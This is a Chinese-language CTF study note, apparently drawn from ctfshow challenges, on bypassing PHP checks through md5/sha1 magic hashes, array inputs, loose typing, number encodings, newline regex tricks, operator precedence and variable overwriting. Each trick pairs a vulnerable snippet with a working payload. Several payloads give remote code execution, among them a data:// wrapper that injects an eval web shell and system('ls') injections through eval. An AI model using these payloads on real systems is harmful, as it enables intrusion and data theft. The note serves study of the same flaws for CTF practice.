内容不全,后续会持续更新此篇,大多题目来源于ctfshow
目录
最常见的
md5碰撞
数组
弱类型
十六进制/八进制/二进制
e/科学计数法
常用绕过姿势
其他
%0a
三个and连用/三个&
sha1()
trim()
最常见的
md5碰撞
没啥可说的了,直接看个例子
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "ctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
直接payload,只要md5加密后为0e开头就可以
?a=240610708
数组
1.intval函数处理后会进行产生错误,空的array返回0,非空的array返回1
em:
include("flag.php");
highlight_file(__FILE__);
?
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这里要让我们传入一个get参数num,并且num被禁用的数字,还要让我们为一个数字才会返回flag
这里就可以使用数组,intval处理一个数组对象时,会返回1
?num[]=1
2.md5处理,比较两个值不等,md5值相等时,可以使用数组
em:
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
很明显要让a和b不相等,然后md5的值相等,得到flag
?a[]=1&b[]=2
弱类型
首先有三个“=”,然后会进行对比,然后php为弱类型语言
em:
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
题目意思就是让我们传入一个get参数num,不能等于4476,然后intval进行截取值要等于4476
?num=4476a
十六进制/八进制/二进制
该方式常利用在替换数字
em:
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
主要的意思就是让我们构造一个数要为4476
我们可以使用十六进制和八进制
?num=0x117c
?num=010574
有时题目禁用了字母我们就只能用八进制了
em:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
可以直接使用八进制
?num=010574
e/科学计数法
1.科学计数法的第一个用法就是数学乘法
em:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/1314/", $num)){
die("hacker!!!");
}
if($num==1314){
echo $flag;
}
}
?>
?num=1.134e3
2.第二个作用就是与intval配合
含有e的数值,在被引号括起来时,会返回e前面的数值。之后进行加一,会强制类型转换为数字类型
'2e4'返回2
'2e4'+1返回20001
常用绕过姿势
?file=data://text/plain,<?=eval($_POST[1])?>
POST:1=system("tac flag.php")
?c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php'); //p
其他
%0a
换页符,一般用在匹配绕过
em:
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
在这里,第一个匹配是匹配全文,是否有php,第二个匹配是匹配第一行是否有php
?cmd=%0aphp
三个and连用/三个&
在判断语句中,三个and连用,只需满足第一个即可,三个&需要都满足
em:
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?
?
?>
在$v0呐要等于后面那一窜
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a); 返回true
?
$a=true && false && false;
var_dump($a); 返回false
所以只需要v1为数字就可以让v0为true
payload:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');
em:
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?
?>
你还想要flag嘛?
这个题考察的就是变量覆盖,利用了下面这句话
if(!($_POST['flag']==$flag)){
die($error);
}
我们可以让post传参为flag,就将会输出error,然后再让error为flag,
GET:?suces=flag POST:error=suces
sha1()
与md5相似可以直接数组绕过
em:
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
GET:?v2[]=1
POST:v1[]=2
trim()
trim函数的绕过
语法:
trim(string,charlist)
?
string 规定检查的字符串
charlist 可选规定从字符串中删除那些字符。如果省略该参数,则移除下列所以字符
?
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
|